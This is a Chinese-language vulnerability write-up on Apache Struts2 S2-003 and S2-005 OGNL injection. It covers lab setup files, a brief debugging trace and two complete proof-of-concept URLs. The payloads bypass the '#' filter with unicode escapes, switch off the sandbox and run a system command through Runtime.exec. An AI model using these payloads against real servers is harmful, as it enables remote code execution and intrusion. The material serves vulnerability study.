S2-003
前言
这篇漏洞分析是自己独立调试的,没有参考师傅们的调试步骤,明白了漏洞的执行步骤,相比于S2-001,对于调试已经漏洞的理解已经有很大程度的提升了
漏洞详情
https://cwiki.apache.org/confluence/display/WW/S2-003
漏洞原因是由于限制了#开头的ognl表达式,但是可以用unicode字符进行绕过,成功执行命令
环境搭建
由于特殊字符的原因,tomcat版本需要低于7,这里选择6.0.9
http://archive.apache.org/dist/tomcat/tomcat-6/v6.0.9/
http://archive.apache.org/dist/struts/binaries/struts-2.0.11.2-all.zip
导入包1
2
3
4
5commons-logging-1.0.4.jar
freemarker-2.3.8.jar
ognl-2.6.11.jar
struts2-core-2.0.11.2jar
xwork-2.0.5.jar
index.jsp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-003</title>
</head>
<body>
<h2>S2-003 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-003">https://cwiki.apache.org/confluence/display/WW/S2-003</a></p>
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:submit></s:submit>
</s:form>
</body>
</html>
welcome.jsp1
2
3
4
5
6
7
8
9
10
11
12
13<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>
struts.xml1
2
3
4
5
6
7
8
9
10
11
12"1.0" encoding="UTF-8" xml version=
<struts>
<package name="S2-003" extends="struts-default">
<action name="login" class="com.demo.action.LoginAction">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
</action>
</package>
</struts>
com.demo.action.LoginAction.java1
2
3
4
5
6
7
8
9
10package com.demo.action;
import ognl.Ognl;
import ognl.OgnlContext;
public class LoginAction {
public String execute() throws Exception{
return "error";
}
}
web.xml1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20"1.0" encoding="UTF-8" xml version=
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">
<display-name>S2-003 Example</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>
漏洞验证
1 | ?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ifconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla)) |
执行ifconfig
漏洞分析
在param拦截器下断点com.opensymphony.xwork2.interceptor.ParametersInterceptor
调试
对payload进行正则检测
限制了不能以#开头,如果以#开头,返回false,就无法执行后面的ognl语句
这里没有检测到,就返回true,跳出while
继续跟进setValue
然后跟到OgnlUtil类的setValue
接着跟到complie方法
在/xwork-2.0.5.jar!/com/opensymphony/xwork2/util/OgnlUtil.class
返回了值#
S2-005
S2-005是在S2-003的基础上进行了修复
新出了一个沙盒机制,默认禁止了静态方法的调用(allowStaticMethodAcces和MethodAccessor.denyMethodExecution)
所以我们可以利用OGNL先把沙盒关闭掉,就又可以执行命令了。
xwork.MethodAccessor.denyMethodExecution设置为false
allowStaticMethodAccess设置为true
这样就可以关闭掉沙盒机制,unicode编码仍然还是可以的,\u0023会被解析成#,POC还是原来的POC,只不过加上了上面的两个设置
poc
1 | /login.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.allowStaticMethodAccess\u003dtrue')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ifconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla)) |